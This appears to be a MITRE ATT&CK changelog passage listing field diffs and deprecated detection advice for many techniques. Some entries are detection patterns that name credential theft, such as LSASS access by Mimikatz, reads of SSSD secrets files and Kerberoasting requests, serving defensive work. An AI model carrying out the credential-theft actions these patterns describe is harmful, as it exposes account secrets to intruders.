| x_mitre_data_sources | ['Process: OS API Execution', 'Command: Command Execution', 'Process: Process Creation', 'Firewall: Firewall Enumeration', 'Firewall: Firewall Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:16.123000+00:00 | 2025-10-24 17:49:31.671000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 2.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Windows Registry: Windows Registry Key Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:22.784000+00:00 | 2025-10-24 17:48:39.525000+00:00 |
| x_mitre_detection | Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.
+
+Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.
+
+On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:22.038000+00:00 | 2025-10-24 17:49:29.503000+00:00 |
| x_mitre_detection | Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:22.412000+00:00 | 2025-10-24 17:49:32.287000+00:00 |
| x_mitre_detection | It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious. |
Current version: 2.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'File: File Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:10:26.686000+00:00 | 2025-10-24 17:48:35.522000+00:00 |
| x_mitre_detection | Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. + +Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) + +Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. + +Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:49.390000+00:00 | 2025-10-24 17:49:04.751000+00:00 |
| x_mitre_detection | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:11:18.959000+00:00 | 2025-10-24 17:49:38.182000+00:00 |
| x_mitre_detection | Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.2
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use voice communications to ultimately gain | t | 1 | Adversaries may use voice communications to ultimately gain |
| > | access to victim systems. Spearphishing voice is a specific | > | access to victim systems. Spearphishing voice is a specific | ||
| > | variant of spearphishing. It is different from other forms o | > | variant of spearphishing. It is different from other forms o | ||
| > | f spearphishing in that is employs the use of manipulating a | > | f spearphishing in that it employs the use of manipulating a | ||
| > | user into providing access to systems through a phone call | > | user into providing access to systems through a phone call | ||
| > | or other forms of voice communications. Spearphishing freque | > | or other forms of voice communications. Spearphishing freque | ||
| > | ntly involves social engineering techniques, such as posing | > | ntly involves social engineering techniques, such as posing | ||
| > | as a trusted source (ex: [Impersonation](https://attack.mitr | > | as a trusted source (ex: [Impersonation](https://attack.mitr | ||
| > | e.org/techniques/T1656)) and/or creating a sense of urgency | > | e.org/techniques/T1656)) and/or creating a sense of urgency | ||
| > | or alarm for the recipient. All forms of phishing are elect | > | or alarm for the recipient. All forms of phishing are elect | ||
| > | ronically delivered social engineering. In this scenario, ad | > | ronically delivered social engineering. In this scenario, ad | ||
| > | versaries are not directly sending malware to a victim vice | > | versaries are not directly sending malware to a victim vice | ||
| > | relying on [User Execution](https://attack.mitre.org/techniq | > | relying on [User Execution](https://attack.mitre.org/techniq | ||
| > | ues/T1204) for delivery and execution. For example, victims | > | ues/T1204) for delivery and execution. For example, victims | ||
| > | may receive phishing messages that instruct them to call a p | > | may receive phishing messages that instruct them to call a p | ||
| > | hone number where they are directed to visit a malicious URL | > | hone number where they are directed to visit a malicious URL | ||
| > | , download malware,(Citation: sygnia Luna Month)(Citation: C | > | , download malware,(Citation: sygnia Luna Month)(Citation: C | ||
| > | ISA Remote Monitoring and Management Software) or install ad | > | ISA Remote Monitoring and Management Software) or install ad | ||
| > | versary-accessible remote management tools ([Remote Access T | > | versary-accessible remote management tools ([Remote Access T | ||
| > | ools](https://attack.mitre.org/techniques/T1219)) onto their | > | ools](https://attack.mitre.org/techniques/T1219)) onto their | ||
| > | computer.(Citation: Unit42 Luna Moth) Adversaries may also | > | computer.(Citation: Unit42 Luna Moth) Adversaries may also | ||
| > | combine voice phishing with [Multi-Factor Authentication Re | > | combine voice phishing with [Multi-Factor Authentication Re | ||
| > | quest Generation](https://attack.mitre.org/techniques/T1621) | > | quest Generation](https://attack.mitre.org/techniques/T1621) | ||
| > | in order to trick users into divulging MFA credentials or a | > | in order to trick users into divulging MFA credentials or a | ||
| > | ccepting authentication prompts.(Citation: Proofpoint Vishin | > | ccepting authentication prompts.(Citation: Proofpoint Vishin | ||
| > | g) | > | g) | ||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:02.243000+00:00 | 2025-07-02 18:06:37.932000+00:00 |
| description | Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient. + +All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth) + +Adversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing) | Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient. + +All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth) + +Adversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing) |
Current version: 2.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:11:50.622000+00:00 | 2025-10-24 17:49:37.487000+00:00 |
| x_mitre_detection | Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. + +Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:12:21.613000+00:00 | 2025-10-24 17:49:03.444000+00:00 |
| x_mitre_detection | If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:14.817000+00:00 | 2025-10-24 17:48:20.938000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Process: Process Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:20.168000+00:00 | 2025-10-24 17:49:19.678000+00:00 |
| x_mitre_detection | The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.
+
+Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'User Account: User Account Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:49.300000+00:00 | 2025-10-24 17:49:04.660000+00:00 |
| x_mitre_detection | Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users. + +Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps. + +Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access. |
Current version: 1.7
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Logon Session: Logon Session Metadata', 'Active Directory: Active Directory Credential Request', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:25.352000+00:00 | 2025-10-24 17:48:41.885000+00:00 |
| x_mitre_detection | Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)
+
+Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)
+
+Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally.
+
+Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)
+
+Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.
+
+Monitor for unusual processes accessing secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:29.907000+00:00 | 2025-10-24 17:49:35.060000+00:00 |
| x_mitre_detection | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:13:05.893000+00:00 | 2025-10-24 17:49:20.395000+00:00 |
| x_mitre_detection | Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'File: File Creation', 'File: File Deletion'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:13:20.667000+00:00 | 2025-10-24 17:48:29.225000+00:00 |
| x_mitre_detection | Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Windows Registry: Windows Registry Key Creation', 'File: File Metadata', 'Command: Command Execution', 'Process: Process Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:00.906000+00:00 | 2025-10-24 17:49:16.766000+00:00 |
| x_mitre_detection | Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)
+
+Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure "Hide Microsoft Entries" and "Hide Windows Entries" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017)
+
+Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Process: Process Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:45:52.996000+00:00 | 2025-10-24 17:48:26.105000+00:00 |
| x_mitre_detection | On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:14.636000+00:00 | 2025-10-24 17:48:32.429000+00:00 |
| x_mitre_detection | With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. + +In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) |
Current version: 3.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'File: File Creation', 'Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:27.332000+00:00 | 2025-10-24 17:48:43.406000+00:00 |
| x_mitre_detection | Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. + +Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity. |
Current version: 2.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:16.253000+00:00 | 2025-10-24 17:48:33.591000+00:00 |
| x_mitre_detection | Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Firmware: Firmware Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:09.046000+00:00 | 2025-10-24 17:48:26.714000+00:00 |
| x_mitre_detection | System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. + +Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit) |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Access', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:47:55.750000+00:00 | 2025-10-24 17:49:20.039000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:14:16.731000+00:00 | 2025-10-24 17:49:22.536000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
+
+Monitor processes and command-line arguments for actions that could be taken to gather system location information. Remote access tools with built-in features may interact directly with the Windows API, such as calling GetLocaleInfoW to gather information.(Citation: FBI Ragnar Locker 2020)
+
+Monitor traffic flows to geo-location service provider sites, such as ip-api and ipinfo. |
Current version: 1.7
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Script: Script Execution', 'Process: Process Creation', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:40.773000+00:00 | 2025-10-24 17:48:56.618000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, {{LinkById|T1059.008} commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 2.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:45.496000+00:00 | 2025-10-24 17:49:01.094000+00:00 |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Active Directory: Active Directory Object Access', 'Process: OS API Execution', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Windows Registry: Windows Registry Key Access', 'File: File Access', 'Process: Process Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:02.301000+00:00 | 2025-10-24 17:48:20.366000+00:00 |
| x_mitre_detection | `System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations. |
Current version: 2.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:23.298000+00:00 | 2025-10-24 17:49:37.665000+00:00 |
| x_mitre_detection | Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Service: Service Creation', 'File: File Modification', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:10.127000+00:00 | 2025-10-24 17:49:25.548000+00:00 |
| x_mitre_detection | Monitor for command line invocations of tools capable of modifying services that doesn’t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:21.176000+00:00 | 2025-10-24 17:49:36.399000+00:00 |
| x_mitre_detection | Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software. + +For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations. |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
